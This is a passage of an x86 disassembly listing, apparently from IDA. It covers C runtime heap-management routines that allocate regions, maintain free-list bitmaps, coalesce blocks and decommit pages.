		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41EBA4


loc_41EBBB:				; CODE XREF: sub_41EA6B+137j
		mov	edx, [ebp+var_4]


loc_41EBBE:				; CODE XREF: sub_41EA6B+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41EBE7
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41EBE7:				; CODE XREF: sub_41EA6B+16Dj
					; sub_41EA6B+183j
		test	ecx, ecx
		jl	short loc_41EBF0
		shl	ecx, 1
		inc	edi
		jmp	short loc_41EBE7
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EA6B+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41EC0D
		push	3Fh
		pop	esi


loc_41EC0D:				; CODE XREF: sub_41EA6B+19Dj
		cmp	esi, edi
		jz	loc_41ED22
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41EC7E
		cmp	edi, 20h
		jge	short loc_41EC4D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC4D:				; CODE XREF: sub_41EA6B+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC7B:				; CODE XREF: sub_41EA6B+1D6j
					; sub_41EA6B+203j
		mov	ebx, [ebp+arg_0]


loc_41EC7E:				; CODE XREF: sub_41EA6B+1B0j
					; sub_41EA6B+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41ED2E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41ED1F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41ECF0
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ECDE
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41ECDE:				; CODE XREF: sub_41EA6B+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41ED1F
; ---------------------------------------------------------------------------


loc_41ECF0:				; CODE XREF: sub_41EA6B+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ED09
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41ED09:				; CODE XREF: sub_41EA6B+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41ED1F:				; CODE XREF: sub_41EA6B+24Ej
					; sub_41EA6B+283j
		mov	ecx, [ebp+var_8]


loc_41ED22:				; CODE XREF: sub_41EA6B+1A4j
		test	ecx, ecx
		jz	short loc_41ED31
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41ED31
; ---------------------------------------------------------------------------


loc_41ED2E:				; CODE XREF: sub_41EA6B+229j
		mov	ecx, [ebp+var_8]


loc_41ED31:				; CODE XREF: sub_41EA6B+2B9j
					; sub_41EA6B+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41ED67
		cmp	ebx, dword_4DD374
		jnz	short loc_41ED67
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DD36C
		jnz	short loc_41ED67
		and	dword_4DD374, 0


loc_41ED67:				; CODE XREF: sub_41EA6B+2E0j
					; sub_41EA6B+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41ED6F:				; CODE XREF: sub_41EA6B+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EA6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ED74	proc near		; CODE XREF: sub_41EA6B+CCp
		mov	eax, dword_4DD378
		mov	ecx, dword_4DD368
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41EDB7
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DD37C
		push	edi
		push	dword_4DD384
		nop
		call	near ptr 2880000h
		cmp	eax, edi
		jz	short loc_41EE07
		add	dword_4DD368, 10h
		mov	dword_4DD37C, eax
		mov	eax, dword_4DD378


loc_41EDB7:				; CODE XREF: sub_41ED74+11j
		mov	ecx, dword_4DD37C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DD384
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 27E0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41EE07
		push	4
		push	2000h
		push	100000h
		push	edi
		call	near ptr 2670D21h
		nop
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41EE0B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DD384
		nop
		call	near ptr 27D05B8h


loc_41EE07:				; CODE XREF: sub_41ED74+30j
					; sub_41ED74+67j
		xor	eax, eax
		jmp	short loc_41EE22
; ---------------------------------------------------------------------------


loc_41EE0B:				; CODE XREF: sub_41ED74+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DD378
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41EE22:				; CODE XREF: sub_41ED74+95j
		pop	edi
		pop	esi
		retn
sub_41ED74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE25	proc near		; CODE XREF: sub_41EA6B+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41EE37:				; CODE XREF: sub_41EE25+19j
		test	eax, eax
		jl	short loc_41EE40
		shl	eax, 1
		inc	ebx
		jmp	short loc_41EE37
; ---------------------------------------------------------------------------


loc_41EE40:				; CODE XREF: sub_41EE25+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41EE55:				; CODE XREF: sub_41EE25+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41EE55
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 2670D21h
		test	eax, eax
		jnz	short loc_41EE88
		or	eax, 0FFFFFFFFh
		jmp	loc_41EF1B
; ---------------------------------------------------------------------------


loc_41EE88:				; CODE XREF: sub_41EE25+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41EECE
		lea	eax, [edi+10h]


loc_41EE95:				; CODE XREF: sub_41EE25+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41EE95


loc_41EECE:				; CODE XREF: sub_41EE25+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41EF0B
		or	[eax+4], edi


loc_41EF0B:				; CODE XREF: sub_41EE25+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41EF1B:				; CODE XREF: sub_41EE25+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF20	proc near		; CODE XREF: sub_41BBE2+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41F0CE
		test	bl, 1
		jnz	loc_41F0C7
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41F0C7
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41EF97
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41EF97:				; CODE XREF: sub_41EF20+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41EFE7
		cmp	ecx, 20h
		jnb	short loc_41EFC3
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EFE7
; ---------------------------------------------------------------------------


loc_41EFC3:				; CODE XREF: sub_41EF20+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41EFE7:				; CODE XREF: sub_41EF20+7Dj
					; sub_41EF20+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41F0B5
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41F021
		push	3Fh
		pop	edi


loc_41F021:				; CODE XREF: sub_41EF20+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41F0A3
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41F07A
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F06D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41F06D:				; CODE XREF: sub_41EF20+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41F09F
; ---------------------------------------------------------------------------


loc_41F07A:				; CODE XREF: sub_41EF20+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F090
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41F090:				; CODE XREF: sub_41EF20+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41F09F:				; CODE XREF: sub_41EF20+158j
		shr	edx, cl
		or	[eax], edx


loc_41F0A3:				; CODE XREF: sub_41EF20+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41F0B8
; ---------------------------------------------------------------------------


loc_41F0B5:				; CODE XREF: sub_41EF20+E5j
		mov	edx, [ebp+arg_4]


loc_41F0B8:				; CODE XREF: sub_41EF20+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41F20E
; ---------------------------------------------------------------------------


loc_41F0C7:				; CODE XREF: sub_41EF20+52j
					; sub_41EF20+5Cj
		xor	eax, eax
		jmp	loc_41F211
; ---------------------------------------------------------------------------


loc_41F0CE:				; CODE XREF: sub_41EF20+49j
		jge	loc_41F20E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41F0F9
		push	3Fh
		pop	esi


loc_41F0F9:				; CODE XREF: sub_41EF20+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41F188
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F112
		push	3Fh
		pop	esi


loc_41F112:				; CODE XREF: sub_41EF20+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41F161
		cmp	esi, 20h
		jnb	short loc_41F13D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41F15E
; ---------------------------------------------------------------------------


loc_41F13D:				; CODE XREF: sub_41EF20+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41F15E:				; CODE XREF: sub_41EF20+214j
					; sub_41EF20+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41F161:				; CODE XREF: sub_41EF20+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F188
		push	3Fh
		pop	esi


loc_41F188:				; CODE XREF: sub_41EF20+1DDj
					; sub_41EF20+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41F205
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41F1DC
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1CF
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41F1CF:				; CODE XREF: sub_41EF20+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41F201
; ---------------------------------------------------------------------------


loc_41F1DC:				; CODE XREF: sub_41EF20+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1F2
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41F1F2:				; CODE XREF: sub_41EF20+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41F201:				; CODE XREF: sub_41EF20+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41F205:				; CODE XREF: sub_41EF20+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41F20E:				; CODE XREF: sub_41EF20+1A2j
					; sub_41EF20:loc_41F0CEj
		push	1
		pop	eax


loc_41F211:				; CODE XREF: sub_41EF20+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F216	proc near		; CODE XREF: sub_41F50E:loc_41F6DDp
		cmp	dword_43AE60, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41F22A
		mov	esi, offset off_43AE50
		jmp	short loc_41F247
; ---------------------------------------------------------------------------


loc_41F22A:				; CODE XREF: sub_41F216+Bj
		push	2020h
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27E0000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41F353


loc_41F247:				; CODE XREF: sub_41F216+12j
		mov	ebp, dword_427064
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41F33C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41F32E
		mov	eax, offset off_43AE50
		cmp	esi, eax
		jnz	short loc_41F2A6
		cmp	off_43AE50, 0
		jnz	short loc_41F296
		mov	off_43AE50, eax


loc_41F296:				; CODE XREF: sub_41F216+79j
		cmp	off_43AE54, 0
		jnz	short loc_41F2BB
		mov	off_43AE54, eax
		jmp	short loc_41F2BB
; ---------------------------------------------------------------------------


loc_41F2A6:				; CODE XREF: sub_41F216+70j
		mov	[esi], eax
		mov	eax, off_43AE54
		mov	[esi+4], eax
		mov	off_43AE54, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41F2BB:				; CODE XREF: sub_41F216+87j
					; sub_41F216+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41F2DD:				; CODE XREF: sub_41F216+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41F2DD
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_41F306:				; CODE XREF: sub_41F216+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41F32A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41F306
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F216+F7j
		mov	eax, esi
		jmp	short loc_41F355
; ---------------------------------------------------------------------------


loc_41F32E:				; CODE XREF: sub_41F216+63j
		push	8000h
		push	0
		push	edi
		call	near ptr 2680000h
		nop


loc_41F33C:				; CODE XREF: sub_41F216+4Bj
		cmp	esi, offset off_43AE50
		jz	short loc_41F353
		push	esi
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27D05B8h


loc_41F353:				; CODE XREF: sub_41F216+2Bj
					; sub_41F216+12Cj
		xor	eax, eax


loc_41F355:				; CODE XREF: sub_41F216+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F216	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F35A	proc near		; CODE XREF: sub_41F3B0+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 2680000h
		cmp	off_43CE70, esi
		jnz	short loc_41F37F
		mov	eax, [esi+4]
		mov	off_43CE70, eax


loc_41F37F:				; CODE XREF: sub_41F35A+1Bj
		cmp	esi, offset off_43AE50
		jz	short loc_41F3A7
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DD384
		call	near ptr 27D05B8h
		nop
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F3A7:				; CODE XREF: sub_41F35A+2Bj
		or	dword_43AE60, 0FFFFFFFFh
		pop	esi
		retn
sub_41F35A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F3B0	proc near		; CODE XREF: sub_41F4C9+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43AE54
		push	edi


loc_41F3BD:				; CODE XREF: sub_41F3B0+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41F45B
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41F3D6:				; CODE XREF: sub_41F3B0+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41F417
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	near ptr 2680000h
		nop
		test	eax, eax
		jz	short loc_41F417
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DBE40
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41F40C
		cmp	eax, edi
		jbe	short loc_41F40F


loc_41F40C:				; CODE XREF: sub_41F3B0+56j
		mov	[esi+0Ch], edi


loc_41F40F:				; CODE XREF: sub_41F3B0+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41F424


loc_41F417:				; CODE XREF: sub_41F3B0+2Cj
					; sub_41F3B0+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41F3D6


loc_41F424:				; CODE XREF: sub_41F3B0+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41F45B
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41F45B
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41F43B:				; CODE XREF: sub_41F3B0+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41F44C
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41F43B


loc_41F44C:				; CODE XREF: sub_41F3B0+8Ej
		cmp	edx, 400h
		jnz	short loc_41F45B
		push	ecx
		call	sub_41F35A
		pop	ecx


loc_41F45B:				; CODE XREF: sub_41F3B0+11j
					; sub_41F3B0+7Dj ...
		cmp	esi, off_43AE54
		jz	short loc_41F46D
		cmp	[ebp+arg_0], 0
		jg	loc_41F3BD


loc_41F46D:				; CODE XREF: sub_41F3B0+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F3B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F472	proc near		; CODE XREF: sub_41BA91+3Ap
					; sub_41BBE2+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43AE50
		push	esi
		mov	ecx, edx


loc_41F47E:				; CODE XREF: sub_41F472+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41F488
		cmp	eax, [ecx+14h]
		jb	short loc_41F490


loc_41F488:				; CODE XREF: sub_41F472+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41F4C5
		jmp	short loc_41F47E
; ---------------------------------------------------------------------------


loc_41F490:				; CODE XREF: sub_41F472+14j
		test	al, 0Fh
		jnz	short loc_41F4C5
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41F4C5
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41F4C5:				; CODE XREF: sub_41F472+1Aj
					; sub_41F472+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41F472	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F4C9	proc near		; CODE XREF: sub_41BA91+4Dp
					; sub_41BBE2+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41F50D
		inc	dword_4DBE40
		cmp	dword_4DBE40, 20h
		jnz	short locret_41F50D
		push	10h
		call	sub_41F3B0
		pop	ecx

locret_41F50D:				; CODE XREF: sub_41F4C9+2Bj
					; sub_41F4C9+3Aj
		retn
sub_41F4C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F50E	proc near		; CODE XREF: sub_41BBE2+1ACp
					; sub_41BEF3+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43CE70
		push	edi


loc_41F51C:				; CODE XREF: sub_41F50E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41F5C7
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41F581


